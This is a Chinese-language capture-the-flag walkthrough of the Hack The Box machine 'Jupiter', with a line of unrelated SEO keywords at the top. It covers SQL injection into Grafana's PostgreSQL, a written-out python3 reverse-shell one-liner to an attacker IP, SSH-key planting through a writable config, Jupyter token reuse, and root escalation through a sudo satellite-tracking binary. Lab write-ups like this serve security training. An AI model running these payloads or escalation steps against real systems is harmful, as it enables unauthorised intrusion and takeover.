石城县网站建设,昆明优化网站公司,wordpress 背景透明,婚纱照展示网站源码Jupiter
Jupiter 是一台中等难度的 Linux 机器#xff0c;它有一个使用 PostgreSQL 数据库的 Grafana 实例#xff0c;该数据库在权限上过度扩展#xff0c;容易受到 SQL 注入的影响#xff0c;因此容易受到远程代码执行的影响。一旦站稳脚跟#xff0c;就会注意到一个名…Jupiter
Jupiter 是一台中等难度的 Linux 机器它有一个使用 PostgreSQL 数据库的 Grafana 实例该数据库在权限上过度扩展容易受到 SQL 注入的影响因此容易受到远程代码执行的影响。一旦站稳脚跟就会注意到一个名为 Shadow 的实用程序这是一种科学实验工具可以简化对真实网络应用程序的评估但其配置文件的权限配置错误。然后通过查看与 Jupyter Notebook 关联的日志文件来实现横向移动这些日志文件包含次要用户的令牌。获得对此用户的访问权限后可以通过滥用卫星跟踪系统二进制文件来实现权限提升该二进制文件可能由次要用户使用“sudo”权限执行。 外部信息搜集
端口扫描
循例nmap Web枚举
访问80跳转到了jupiter.htb加入/etc/hosts vhost扫描
ffuf扫出一个vhost kiosk子域 SQL注入
我在查看bp日志的时候发现了这个包里面包含了非常显眼的sql查询语句 把请求给到repeater使用version()查询一下发现执行成功 接下啦就不再需要脑子了我们可以通过sqlmap一键尝试RCE 正如所料是DBA 来个常规python3 reverse shell payload
python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((10.10.14.18,8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(/bin/bash) payload最后的不能少否则shell可能会被杀死
getshell 本地横向移动 - juno
传个pspy 2023/12/22 07:24:01 CMD: UID1000 PID2159 |
2023/12/22 07:24:01 CMD: UID1000 PID2160 | rm -rf /dev/shm/shadow.data
2023/12/22 07:24:01 CMD: UID1000 PID2161 | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml
2023/12/22 07:24:01 CMD: UID1000 PID2164 | sh -c lscpu --online --parseCPU,CORE,SOCKET,NODE
2023/12/22 07:24:01 CMD: UID1000 PID2165 | lscpu --online --parseCPU,CORE,SOCKET,NODE
2023/12/22 07:24:01 CMD: UID1000 PID2170 |
2023/12/22 07:24:02 CMD: UID1000 PID2171 | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml
2023/12/22 07:24:02 CMD: UID1000 PID2173 | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml
2023/12/22 07:24:02 CMD: UID1000 PID2175 | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml 我们可以看到/home/juno/.local/bin/shadow这个应用似乎正将yml文件名作为输入并运行
这个文件我们有权读写 当我查看该文件时接下来要做的事情便不再需要解释了 python3 payload 发现它确实执行了但似乎执行没成功反正我没get到shell
换种方法直接写入ssh key 这次也执行了 登一下ssh看看有没有成功 本地横向移动 - jovian
我看到当前用户具有另一个组下意识查看那个组是否具有某些文件或目录 当我查看其中一个日志文件后我发现本地8888端口的http服务应该就是jupyter ssh做个端口转发 通过日志文件里的正确token我们能够登录进去 进入这个文件 在这里我们能够运行python代码
直接来个python shellcode nc 本地权限提升
sudo -l 通过strace发现它会读取/tmp/config.json但由于不清楚它的配置究竟是怎么样的所以即使我们自己创建了文件也没有意义 find 在那个目录下有我们想要的config.json {tleroot: /tmp/tle/,tlefile: weather.txt,mapfile: /usr/local/share/sattrack/map.json,texturefile: /usr/local/share/sattrack/earth.png,tlesources: [http://celestrak.org/NORAD/elements/weather.txt,http://celestrak.org/NORAD/elements/noaa.txt,http://celestrak.org/NORAD/elements/gp.php?GROUPstarlinkFORMATtle],updatePerdiod: 1000,station: {name: LORCA,lat: 37.6725,lon: -1.5863,hgt: 335.0},show: [],columns: [name,azel,dis,geo,tab,pos,vel]
}将config.json复制到/tmp 运行看看效果 主要关注这句话
tleroot does not exist, creating it: /tmp/tle/我们可以将tleroot改到/root/.ssh然后它就会去请求tlesources的文件复制到tleroot我们可以指定ssh public key
编辑/tmp/config.json 再次执行 ssh登root root flag 还在老地方